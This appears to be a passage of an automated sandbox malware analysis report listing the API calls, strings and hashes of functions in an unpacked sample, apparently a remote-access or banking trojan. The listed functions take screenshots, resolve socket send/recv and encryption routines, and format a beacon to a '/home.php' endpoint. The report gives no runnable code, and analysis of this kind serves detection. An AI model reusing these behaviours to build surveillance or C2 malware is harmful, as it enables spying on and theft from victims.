                                                                                                                                                                                                                      • String ID: %53%59%53%54%45%4D%21%39%31%30%36%34%36%21%34%35%37%39%42%33%35%35$/home.php$SystemDrive$name=%s&port=%u
                                                                                                                                                                                                                      • API String ID: 1291007772-957543562
                                                                                                                                                                                                                      • Opcode ID: 76d90408f6f87f2d6f8432c9a9606d4ab7aa06affc406b0bfdb9619dd4cd7fd1
                                                                                                                                                                                                                      • Instruction ID: b6b0113dfbce4eae730699075623aaa76b74c48417070cf55ee3c26b839dba58
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 76d90408f6f87f2d6f8432c9a9606d4ab7aa06affc406b0bfdb9619dd4cd7fd1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A24188B1A80318BBEB14D764CC89FEA77BDEB48701F508594B705E61C1E7F19A84CB64
                                                                                                                                                                                                                      Function 02713340 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 106sleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274CF94), ref: 02713367
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 027133A9
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 027133B5
                                                                                                                                                                                                                      • #680.SHELL32 ref: 027133B9
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 027133CA
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 027133D1
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02713402
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02713408
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0271340C
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0271341D
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02713424
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,%s\%02d.bmp,?,00000001), ref: 02713452
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000FA0,?), ref: 02713468
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorLast$Path$#680CreateDirectoryFolderMakeSystem$BackslashSleep_snprintf
                                                                                                                                                                                                                      • String ID: %s\%02d.bmp$scrs
                                                                                                                                                                                                                      • API String ID: 3389723127-1670482240
                                                                                                                                                                                                                      • Opcode ID: 57592f231b614074ac29f47b5a6055321582c2c6a059e2266dcd729b4fee490f
                                                                                                                                                                                                                      • Instruction ID: a43df96c69b01dc4eb3c90d10dc722b6691af21bf7e44bf83ed7b86f9104d0e8
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 57592f231b614074ac29f47b5a6055321582c2c6a059e2266dcd729b4fee490f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 943127319442195BDB11DB789C58BEBBBE8FF9A705F8485D4E985D3100DFB0D984CBA0
                                                                                                                                                                                                                      Function 027131C0 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 67sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}), ref: 027131EC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 027131FD
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02713211
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0271321F
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02713080,00000000,00000000,00000000), ref: 02713234
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40), ref: 02713245
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0271324A
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0271325E
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0271326C
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2192), ref: 02713277
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26EE2192,RFK), ref: 02713291
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 0271329A
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                                      • String ID: 26EE2192$Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}$RFK
                                                                                                                                                                                                                      • API String ID: 505831200-2378544773
                                                                                                                                                                                                                      • Opcode ID: ee089fa5cbdff81e9b3cbed07765b1a267cc17a77f5f60600d26bdf2e3d6d07a
                                                                                                                                                                                                                      • Instruction ID: 06f3593f7faa5b42ae38939145361e8dda1cbc63ead5192e71598ff8d96f5bca
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ee089fa5cbdff81e9b3cbed07765b1a267cc17a77f5f60600d26bdf2e3d6d07a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FF110870AC6712BBF31267688C0FF1F7B986F09B16F508644F551B61C09BF0950087A6
                                                                                                                                                                                                                      Function 026FA250 Relevance: 25.9, APIs: 17, Instructions: 354windowthreadtimeCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetAncestor.USER32(00000000,00000002,00000080,?,00000000), ref: 026FA25E
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindowLongA.USER32(026FCE3A,000000F0,75C0BCB0,75C0BCB0,00000000), ref: 026FE26B
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetLastActivePopup.USER32(026FCE3A,?,?,?,?,?,?,?,?,?,?,?,?,?,026FCE3A,75C0BCB0), ref: 026FE279
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindow.USER32(?,00000005,00000001), ref: 026FE293
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindow.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,026FCE3A,75C0BCB0), ref: 026FE296
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindowInfo.USER32(00000000,?), ref: 026FE2AC
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindow.USER32(00000000,00000004), ref: 026FE2B5
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindow.USER32(00000000,00000003), ref: 026FE2EE
                                                                                                                                                                                                                      • SendMessageA.USER32(?,00000010,00000000,00000000,00000000), ref: 026FA29F
                                                                                                                                                                                                                      • GetAncestor.USER32(00000000,00000002,00000000), ref: 026FA325
                                                                                                                                                                                                                      • SendMessageTimeoutA.USER32(00000000,00000021,00000000,00000001,00000002,00000064,?,00000000), ref: 026FA34C
                                                                                                                                                                                                                      • PostMessageA.USER32(00000000,00000020,00000000,00000001,00000000), ref: 026FA391
                                                                                                                                                                                                                      • PostMessageA.USER32(00000000,00000000,00000000,00000001,?,00000000), ref: 026FA3E5
                                                                                                                                                                                                                        • Part of subcall function 026FA100: GetTickCount.KERNEL32(00000000,75BF3610,00000000,?,026FA417,00000000), ref: 026FA18A
                                                                                                                                                                                                                        • Part of subcall function 026FA100: GetClassLongA.USER32(00000000,000000E6,?,026FA417,00000000), ref: 026FA1DD
                                                                                                                                                                                                                      • PostMessageA.USER32(00000000,00000112,?,?), ref: 026FA44E
                                                                                                                                                                                                                      • PostMessageA.USER32(00000000,0000007B,00000000,?), ref: 026FA479
                                                                                                                                                                                                                      • PostMessageA.USER32(00000000,0000007B,00000000,00000000,00000000,?), ref: 026FA4F5
                                                                                                                                                                                                                      • GetSystemMenu.USER32(00000000,00000000), ref: 026FA514
                                                                                                                                                                                                                      • GetMenuItemInfoA.USER32(00000000,0000F060,00000000,0000004C), ref: 026FA538
                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(?,00000000,00000000,00000001,?,?,026F9523,00008001,?,00000000,00000000), ref: 026FA5A3
                                                                                                                                                                                                                      • PostMessageA.USER32(00000000,00000000,00000000,00000000,00000000,?), ref: 026FA5B6
                                                                                                                                                                                                                      • PostMessageA.USER32(?,?,00000001,00000000,?,?,?,?,?,?,?,?,026F9523,00008001,?,00000000), ref: 026FA5D9
                                                                                                                                                                                                                      • PostMessageA.USER32(?,?,00000002,00000000,?,?,?,?,?,?,?,?,026F9523,00008001,?,00000000), ref: 026FA5FB
                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(00000000,00000000,00000001,00000001,00000000,?), ref: 026FA633
                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(?,00000000,00000080,00000001,?,00000112,?,00000000), ref: 026FA65D
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Message$Window$Post$ProcessThread$AncestorInfoLongMenuSend$ActiveClassCountItemLastPopupSystemTickTimeout
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 590198697-0
                                                                                                                                                                                                                      • Opcode ID: f840530c63609f594537f2cd5c5bdc5105cb94faf0723342fabdaff11794ba17
                                                                                                                                                                                                                      • Instruction ID: 1f0327daa58aec105ceb53cfb8ca123b8fc9837c0715b7ad41b26ed7f709832d
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f840530c63609f594537f2cd5c5bdc5105cb94faf0723342fabdaff11794ba17
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6FB14A33F402245AEF649A98D8C9BBE7359DB85716F14802AFF0CD7281C779CC6197A1
                                                                                                                                                                                                                      Function 026FE760 Relevance: 25.1, APIs: 20, Instructions: 115memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,026FFBC2), ref: 026FE787
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026FE78A
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 026FE797
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026FE79A
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,026FFBC2), ref: 026FE7AA
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026FE7AD
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 026FE7BA
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026FE7BD
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,026FFBC2), ref: 026FE7CD
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026FE7D0
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 026FE7DD
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026FE7E0
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,026FFBC2), ref: 026FE7F0
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026FE7F3
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 026FE800
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026FE803
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(?,?,00000000,?,00000000,026FFBC2), ref: 026FE83D
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026FE840
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(?,?), ref: 026FE84C
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026FE84F
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1670920773-0
                                                                                                                                                                                                                      • Opcode ID: 1ad5b02a1d4021c232910d67acc8aca7d86e1bbb666e6c5ffc9800fa3d640237
                                                                                                                                                                                                                      • Instruction ID: bb8ea8ecd592f0ad464dda7e23d8a1f0f7cdaa4a86707682745187cd949ffa4a
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1ad5b02a1d4021c232910d67acc8aca7d86e1bbb666e6c5ffc9800fa3d640237
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 39310372E41200ABEF706B759C48F5B7B6CEF84B96F414829EA06D3260DB31E810C6F5
                                                                                                                                                                                                                      Function 026FA6B0 Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 356synchronizationwindowthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00008001,?), ref: 026FA70E
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,026F9523,00008001,?), ref: 026FA737
                                                                                                                                                                                                                      • IsWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,026F9523,00008001,?), ref: 026FA73E
                                                                                                                                                                                                                      • PostMessageA.USER32(?,00000215,00000000,00000000), ref: 026FA752
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00008001,?), ref: 026FA7C1
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,026F9523,00008001,?), ref: 026FA7DA
                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000,000000F0,?,00000000,?,?), ref: 026FA86B
                                                                                                                                                                                                                      • GetParent.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,026F9523), ref: 026FA882
                                                                                                                                                                                                                      • GetWindowThreadProcessId.USER32(00000000,00000000,00000000,00000001,?,00000000,?,?), ref: 026FA8C9
                                                                                                                                                                                                                      • GetWindowInfo.USER32 ref: 026FA941
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: GetWindowRect.USER32(?,?,00000000,74DF30D0,?,?,026FA6F4,00000000,00008001,?), ref: 026F9FF7
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: IsRectEmpty.USER32(?,?,026FA6F4,00000000,00008001,?), ref: 026FA066
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: GetWindowLongA.USER32(?,000000F0,?,026FA6F4,00000000,00008001,?), ref: 026FA076
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: GetParent.USER32(?,?,00000002,?,026FA6F4,00000000,00008001,?), ref: 026FA08A
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: MapWindowPoints.USER32(00000000,00000000,?,026FA6F4,00000000,00008001,?), ref: 026FA093
                                                                                                                                                                                                                        • Part of subcall function 026F9FD0: SetWindowPos.USER32(?,00000000,?,026FA6F4,00000000,00008001,0000630C,?,026FA6F4,00000000,00008001,?), ref: 026FA0B5
                                                                                                                                                                                                                      • IsWindow.USER32(?,?,00000000,?,?), ref: 026FA8F0
                                                                                                                                                                                                                      • PostMessageA.USER32(00000000,0000020A,00000000,00000080), ref: 026FAADF
                                                                                                                                                                                                                        • Part of subcall function 026F9F50: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,?,026FA63F,00000000), ref: 026F9F5C
                                                                                                                                                                                                                        • Part of subcall function 026F9F50: ReleaseMutex.KERNEL32(00000000,?,026FA63F,00000000), ref: 026F9F8D
                                                                                                                                                                                                                        • Part of subcall function 026F9F50: IsWindow.USER32(?,?,026FA63F,00000000), ref: 026F9F94
                                                                                                                                                                                                                        • Part of subcall function 026F9F50: PostMessageA.USER32(?,00000215,00000000,00000000,?,?,?,?,?,00000080), ref: 026F9FAD
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$MessageMutexObjectPostReleaseSingleWait$LongParentRect$EmptyInfoPointsProcessThread
                                                                                                                                                                                                                      • String ID: <$@
                                                                                                                                                                                                                      • API String ID: 2167780881-1426351568
                                                                                                                                                                                                                      • Opcode ID: ed4f649324c1f1b96079af9bf8b7795e6e0679ec698f7822aa329e74e141ac6f
                                                                                                                                                                                                                      • Instruction ID: 4b695b7f513fc11bb8eb55dea355a51da2eea595b972ba212a711a889bf09e49
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ed4f649324c1f1b96079af9bf8b7795e6e0679ec698f7822aa329e74e141ac6f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F2C1F531644341ABDB648FA8C888F6B3BE5AF85358F08892CFB99573D1D7B0D845CB91
                                                                                                                                                                                                                      Function 026F9020 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 132memorythreadwindowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SetThreadDesktop.USER32(?,74DEF590,74DE16B0,?), ref: 026F902F
                                                                                                                                                                                                                      • GetDC.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,026FDA97), ref: 026F9037
                                                                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,0000000A,?,?,?,?,?,?,?,?,?,?,?,?,026FDA97), ref: 026F9048
                                                                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,00000008,?,?,?,?,?,?,?,?,?,?,?,?,026FDA97), ref: 026F9059
                                                                                                                                                                                                                      • CreateCompatibleBitmap.GDI32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,026FDA97), ref: 026F9070
                                                                                                                                                                                                                      • GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 026F90B2
                                                                                                                                                                                                                      • GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,00000028,00000000), ref: 026F90C2
                                                                                                                                                                                                                      • DeleteObject.GDI32(00000000), ref: 026F90C5
                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 026F90CE
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,00000000,?), ref: 026F9129
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,00000008,?), ref: 026F9142
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,00000008,?), ref: 026F915F
                                                                                                                                                                                                                      • SetThreadDesktop.USER32(?), ref: 026F9194
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$AllocBitsCapsDesktopDeviceThread$BitmapCompatibleCreateDeleteFreeObjectRelease
                                                                                                                                                                                                                      • String ID: (
                                                                                                                                                                                                                      • API String ID: 188880187-3887548279
                                                                                                                                                                                                                      • Opcode ID: aabf3b879b92cd39ca738176d16c7810754a1bf8c2910c3179bec2ef61d60d43
                                                                                                                                                                                                                      • Instruction ID: 9b82ed84e2c84935dd06f8b0c78724edebeb8e1fe91f0c1977f8bc9123884ca1
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: aabf3b879b92cd39ca738176d16c7810754a1bf8c2910c3179bec2ef61d60d43
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 64416D71E41318AFDB50CFA8D889BEA7BF8EB4C311F148569E608E7381D7715811CBA4
                                                                                                                                                                                                                      Function 02709820 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 65libraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • LoadLibraryExA.KERNEL32(advapi32.dll,00000000,00000000,74DEF550,74DEDF10,0270598B), ref: 02709831
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 02709843
                                                                                                                                                                                                                        • Part of subcall function 0270A540: VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,74DEF550,00000000,75BFBD50,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A578
                                                                                                                                                                                                                        • Part of subcall function 0270A540: memcpy.MSVCRT(?,?,00000000,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A5A0
                                                                                                                                                                                                                        • Part of subcall function 0270A540: VirtualProtect.KERNEL32(00000000,?,00000040,027098DA,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A635
                                                                                                                                                                                                                        • Part of subcall function 0270A540: VirtualProtect.KERNEL32(?,00000000,00000040,027098DA,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A64A
                                                                                                                                                                                                                      • LoadLibraryExA.KERNEL32(ws2_32.dll,00000000,00000000), ref: 02709862
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,send), ref: 02709870
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,WSASend), ref: 0270988C
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,WSARecv), ref: 027098A8
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,recv), ref: 027098C4
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: AddressProc$Virtual$LibraryLoadProtect$Allocmemcpy
                                                                                                                                                                                                                      • String ID: CryptEncrypt$WSARecv$WSASend$advapi32.dll$recv$send$ws2_32.dll
                                                                                                                                                                                                                      • API String ID: 1216545827-2206184491
                                                                                                                                                                                                                      • Opcode ID: 339c73dba72c27c042919c9c9be1b1f2a46c1e4a1f1ef042cdeeb8cdeb95c9ed
                                                                                                                                                                                                                      • Instruction ID: cf7be8549ed946478241be6aada653ef8e25734a64c12cc29d2bd510e5c9ac54
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 339c73dba72c27c042919c9c9be1b1f2a46c1e4a1f1ef042cdeeb8cdeb95c9ed
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7601D3E2BC1326F0FA2232664D87F5B0BCD1B49E48F250520B702B61C3EBD9E50945BD
                                                                                                                                                                                                                      Function 027131D8 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 56sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}), ref: 027131EC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 027131FD
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02713211
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0271321F
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02713080,00000000,00000000,00000000), ref: 02713234
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40), ref: 02713245
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0271324A
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0271325E
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0271326C
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2192), ref: 02713277
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26EE2192,RFK), ref: 02713291
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 0271329A
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                                      • String ID: 26EE2192$Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}$RFK
                                                                                                                                                                                                                      • API String ID: 505831200-2378544773
                                                                                                                                                                                                                      • Opcode ID: e2a122d8b0b8a21cd72cd9d17612caacf14ef5e29bdc4324ca361dc277a9cb85
                                                                                                                                                                                                                      • Instruction ID: 2d25e3abd1402cb932dc9464cf9ff9239d3381f4ad88adcf43cfa5634e02712f
